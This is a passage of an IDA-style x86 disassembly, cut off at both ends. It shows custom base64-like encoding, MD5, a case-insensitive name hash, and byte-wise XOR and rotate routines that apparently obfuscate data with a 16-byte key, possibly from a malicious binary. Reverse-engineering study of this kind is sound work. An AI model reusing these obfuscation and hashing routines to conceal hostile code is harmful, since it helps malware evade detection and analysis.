eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EA66 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] sar eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EA6B ; --------------------------------------------------------------------------- loc_40EA66: ; CODE XREF: sub_40E9C9+72j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA6B: ; CODE XREF: sub_40E9C9+9Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA99 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 4 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA9E ; --------------------------------------------------------------------------- loc_40EA99: ; CODE XREF: sub_40E9C9+B0j jmp loc_40EB48 ; --------------------------------------------------------------------------- loc_40EA9E: ; CODE XREF: sub_40E9C9+CEj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EAD6 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, al mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EAD8 ; --------------------------------------------------------------------------- loc_40EAD6: ; CODE XREF: sub_40E9C9+E2j jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EAD8: ; CODE XREF: sub_40E9C9+10Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EB06 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] shl eax, 6 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EB08 ; --------------------------------------------------------------------------- loc_40EB06: ; CODE XREF: sub_40E9C9+11Dj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB08: ; CODE XREF: sub_40E9C9+13Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_40EB3A mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx-1] or cl, byte_41E9B0[eax] mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [eax-1], cl jmp short loc_40EB3C ; --------------------------------------------------------------------------- loc_40EB3A: ; CODE XREF: sub_40E9C9+14Cj jmp short loc_40EB48 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40E9C9+16Fj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax jmp loc_40E9F0 ; --------------------------------------------------------------------------- loc_40EB48: ; CODE XREF: sub_40E9C9+2Cj ; sub_40E9C9:loc_40EA29j ... mov eax, [ebp+var_4] dec eax locret_40EB4C: ; CODE XREF: sub_40E9C9+1Aj leave retn sub_40E9C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB4E proc near ; CODE XREF: sub_40A9CF+292p ; sub_40A9CF+D12p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 loc_40EB60: ; CODE XREF: sub_40EB4E:loc_40EC83j mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] sar eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 4 and eax, 30h mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EBC2 movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp loc_40EC88 ; --------------------------------------------------------------------------- loc_40EBC2: ; CODE XREF: sub_40EB4E+52j movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 4 and ecx, 0Fh or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] shl eax, 2 and eax, 3Ch mov [ebp+var_4], al mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC2A movzx eax, [ebp+var_4] or al, 1 mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC2A: ; CODE XREF: sub_40EB4E+BDj movzx eax, [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx] sar ecx, 6 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 3Fh mov ecx, [ebp+arg_4] add ecx, [ebp+var_C] mov al, byte_41A18C[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnz short loc_40EC83 jmp short loc_40EC88 ; --------------------------------------------------------------------------- loc_40EC83: ; CODE XREF: sub_40EB4E+131j jmp loc_40EB60 ; --------------------------------------------------------------------------- loc_40EC88: ; CODE XREF: sub_40EB4E+6Fj ; sub_40EB4E+DAj ... mov eax, [ebp+arg_4] add eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] leave retn sub_40EB4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC96 proc near ; CODE XREF: sub_40A9CF+2FAp ; sub_40E618+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40ECB4 ; --------------------------------------------------------------------------- loc_40ECAD: ; CODE XREF: sub_40EC96+3Aj ; sub_40EC96+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40ECB4: ; CODE XREF: sub_40EC96+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short loc_40ECE6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movzx eax, byte_41E9B0[eax] test eax, eax jz short loc_40ECD2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECD2: ; CODE XREF: sub_40EC96+38j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 41h jnz short loc_40ECE2 jmp short loc_40ECAD ; --------------------------------------------------------------------------- loc_40ECE2: ; CODE XREF: sub_40EC96+48j xor eax, eax jmp short locret_40ECE9 ; --------------------------------------------------------------------------- loc_40ECE6: ; CODE XREF: sub_40EC96+24j push 1 pop eax locret_40ECE9: ; CODE XREF: sub_40EC96+4Ej leave retn sub_40EC96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECEB proc near ; CODE XREF: sub_4167F1+FEp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EAB4 call sub_40F26E pop ecx pop ecx lea eax, byte_41EAB4 push 10h pop edx loc_40ED29: ; CODE XREF: sub_40ECEB+46j mov cl, [eax] rol cl, cl mov [eax], cl inc eax dec edx jnz short loc_40ED29 pop edi pop esi pop ebx leave retn sub_40ECEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED38 proc near ; CODE XREF: sub_40A9CF+14p ; sub_41113B+159p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] xor ecx, ecx xor eax, eax loc_40ED45: ; CODE XREF: sub_40ED38+2Fj mov cl, [esi] test ecx, ecx jz short loc_40ED69 cmp ecx, 61h jb short loc_40ED53 sub ecx, 20h loc_40ED53: ; CODE XREF: sub_40ED38+16j and ecx, 7Fh add eax, ecx and ecx, 0Fh mov cl, byte_41EAB4[ecx] add eax, ecx rol eax, 3 inc esi jmp short loc_40ED45 ; --------------------------------------------------------------------------- loc_40ED69: ; CODE XREF: sub_40ED38+11j pop edi pop esi pop ebx pop ebp retn sub_40ED38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED6E proc near ; CODE XREF: sub_4167F1+10Cp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset dword_41EAC8 call sub_40F26E pop ecx pop ecx lea esi, dword_41EAC8 mov edi, esi push 10h pop ecx loc_40EDAE: ; CODE XREF: sub_40ED6E+48j lodsb xor al, 0AAh add al, al or al, 1 stosb loop loc_40EDAE pop edi pop esi pop ebx leave retn sub_40ED6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EDBD proc near ; CODE XREF: sub_40EF29+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EDCE ; --------------------------------------------------------------------------- loc_40EDC7: ; CODE XREF: sub_40EDBD+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EDCE: ; CODE XREF: sub_40EDBD+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EE71 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] sub al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EDC7 ; --------------------------------------------------------------------------- locret_40EE71: ; CODE XREF: sub_40EDBD+17j leave retn sub_40EDBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE73 proc near ; CODE XREF: sub_40EF41+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40EE84 ; --------------------------------------------------------------------------- loc_40EE7D: ; CODE XREF: sub_40EE73+AFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40EE84: ; CODE XREF: sub_40EE73+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge locret_40EF27 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] sub al, 1 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_4] cdq push 10h pop ecx idiv ecx shl edx, 2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, dl mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] not eax mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] xor cl, al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], cl mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_8] movzx eax, byte ptr [eax+edx] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov al, [eax] add al, [ecx+edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] add al, 33h mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp loc_40EE7D ; --------------------------------------------------------------------------- locret_40EF27: ; CODE XREF: sub_40EE73+17j leave retn sub_40EE73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF29 proc near ; CODE XREF: sub_40A9CF+25Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EAC8 push [ebp+arg_4] push [ebp+arg_0] call sub_40EDBD add esp, 0Ch pop ebp retn sub_40EF29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF41 proc near ; CODE XREF: sub_40A9CF+380p ; sub_40D871+7ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_41EAC8 push [ebp+arg_4] push [ebp+arg_0] call sub_40EE73 add esp, 0Ch pop ebp retn sub_40EF41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF59 proc near ; CODE XREF: sub_40A9CF+271p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+arg_0] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch call sub_410422 mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax and [ebp+var_8], 0 jmp short loc_40EF91 ; --------------------------------------------------------------------------- loc_40EF8A: ; CODE XREF: sub_40EF59+7Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40EF91: ; CODE XREF: sub_40EF59+2Fj mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40EFD9 mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EF8A ; --------------------------------------------------------------------------- loc_40EFD9: ; CODE XREF: sub_40EF59+3Ej mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40EFE9 ; --------------------------------------------------------------------------- loc_40EFE2: ; CODE XREF: sub_40EF59+D4j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40EFE9: ; CODE XREF: sub_40EF59+87j cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F02F mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] add al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al push 1 push [ebp+var_4] call sub_416DF6 ; _lrotl pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_40EFE2 ; --------------------------------------------------------------------------- loc_40F02F: ; CODE XREF: sub_40EF59+94j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov [eax-4], ecx mov eax, [ebp+arg_4] add eax, 4 leave retn sub_40EF59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F040 proc near ; CODE XREF: sub_40A9CF+366p ; sub_40D871+792p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 push eax mov eax, [ebp+arg_0] add eax, 4 push eax push [ebp+arg_0] call sub_416E02 ; memmove add esp, 0Ch mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax and [ebp+var_8], 0 jmp short loc_40F07C ; --------------------------------------------------------------------------- loc_40F075: ; CODE XREF: sub_40F040+82j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40F07C: ; CODE XREF: sub_40F040+33j mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jge short loc_40F0C4 mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F075 ; --------------------------------------------------------------------------- loc_40F0C4: ; CODE XREF: sub_40F040+42j mov eax, [ebp+arg_4] dec eax mov [ebp+var_8], eax jmp short loc_40F0D4 ; --------------------------------------------------------------------------- loc_40F0CD: ; CODE XREF: sub_40F040+D8j mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax loc_40F0D4: ; CODE XREF: sub_40F040+8Bj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_40F11A mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_4], eax push 1 push [ebp+var_4] call sub_416DFC ; _lrotr pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] xor al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] sub al, byte ptr [ebp+var_4] mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al jmp short loc_40F0CD ; --------------------------------------------------------------------------- loc_40F11A: ; CODE XREF: sub_40F040+98j mov eax, [ebp+arg_4] leave retn sub_40F040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F11F proc near ; CODE XREF: sub_40ECEB+Dp ; sub_40ED6E+Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax], 67452301h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0EFCDAB89h mov eax, [ebp+arg_0] mov dword ptr [eax+8], 98BADCFEh mov eax, [ebp+arg_0] mov dword ptr [eax+0Ch], 10325476h mov eax, [ebp+arg_0] and dword ptr [eax+10h], 0 mov eax, [ebp+arg_0] and dword ptr [eax+14h], 0 pop ebp retn sub_40F11F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F159 proc near ; CODE XREF: sub_40ECEB+1Dp ; sub_40ED6E+1Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] lea eax, [ecx+eax*8] mov ecx, [ebp+arg_0] mov [ecx+10h], eax mov eax, [ebp+arg_0] mov eax, [eax+10h] cmp eax, [ebp+var_4] jnb short loc_40F18E mov eax, [ebp+arg_0] mov eax, [eax+14h] inc eax mov ecx, [ebp+arg_0] mov [ecx+14h], eax loc_40F18E: ; CODE XREF: sub_40F159+26j mov eax, [ebp+arg_8] shr eax, 1Dh mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] add ecx, eax mov eax, [ebp+arg_0] mov [eax+14h], ecx mov eax, [ebp+var_4] shr eax, 3 and eax, 3Fh mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_40F21C mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+18h] mov [ebp+var_8], eax push 40h pop eax sub eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_4] jnb short loc_40F1E8 push [ebp+arg_8] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch jmp locret_40F26C ; --------------------------------------------------------------------------- loc_40F1E8: ; CODE XREF: sub_40F159+77j push [ebp+var_4] push [ebp+arg_4] push [ebp+var_8] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 18h push eax push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, [ebp+var_4] mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, [ebp+var_4] mov [ebp+arg_8], eax loc_40F21C: ; CODE XREF: sub_40F159+59j ; sub_40F159+FCj cmp [ebp+arg_8], 40h jb short loc_40F257 push 40h push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_0] call sub_40F3CE pop ecx pop ecx mov eax, [ebp+arg_4] add eax, 40h mov [ebp+arg_4], eax mov eax, [ebp+arg_8] sub eax, 40h mov [ebp+arg_8], eax jmp short loc_40F21C ; --------------------------------------------------------------------------- loc_40F257: ; CODE XREF: sub_40F159+C7j push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_0] add eax, 18h push eax call sub_416B52 ; memcpy add esp, 0Ch locret_40F26C: ; CODE XREF: sub_40F159+8Aj leave retn sub_40F159 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F26E proc near ; CODE XREF: sub_40ECEB+2Ep ; sub_40ED6E+2Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] mov eax, [eax+10h] shr eax, 3 and eax, 3Fh mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+18h] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov byte ptr [eax], 80h mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push 3Fh pop eax sub eax, [ebp+var_8] mov [ebp+var_8], eax cmp [ebp+var_8], 8 jnb short loc_40F2E1 push [ebp+var_8] push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 38h push 0 mov eax, [ebp+arg_4] add eax, 18h push eax call sub_416B6A ; memset add esp, 0Ch jmp short loc_40F2F5 ; --------------------------------------------------------------------------- loc_40F2E1: ; CODE XREF: sub_40F26E+3Bj mov eax, [ebp+var_8] sub eax, 8 push eax push 0 push [ebp+var_4] call sub_416B6A ; memset add esp, 0Ch loc_40F2F5: ; CODE XREF: sub_40F26E+71j push 8 mov eax, [ebp+arg_4] add eax, 10h push eax mov eax, [ebp+arg_4] add eax, 50h push eax call sub_40F33F add esp, 0Ch mov eax, [ebp+arg_4] add eax, 18h push eax push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 10h push [ebp+arg_4] push [ebp+arg_0] call sub_40F33F add esp, 0Ch push 4 push 0 push [ebp+arg_4] call sub_416B6A ; memset add esp, 0Ch leave retn sub_40F26E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F33F proc near ; CODE XREF: sub_40F26E+97p ; sub_40F26E+B8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_40F35E ; --------------------------------------------------------------------------- loc_40F34E: ; CODE XREF: sub_40F33F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_40F35E: ; CODE XREF: sub_40F33F+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_40F3CC mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 8 and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+1], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 10h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+2], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 18h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+3], al jmp short loc_40F34E ; --------------------------------------------------------------------------- locret_40F3CC: ; CODE XREF: sub_40F33F+25j leave retn sub_40F33F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3CE proc near ; CODE XREF: sub_40F159+AAp ; sub_40F159+E3p ... var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 50h push 40h push [ebp+arg_4] lea eax, [ebp+var_50] push eax call sub_410244 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_C], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-28955B88h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-173848AAh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 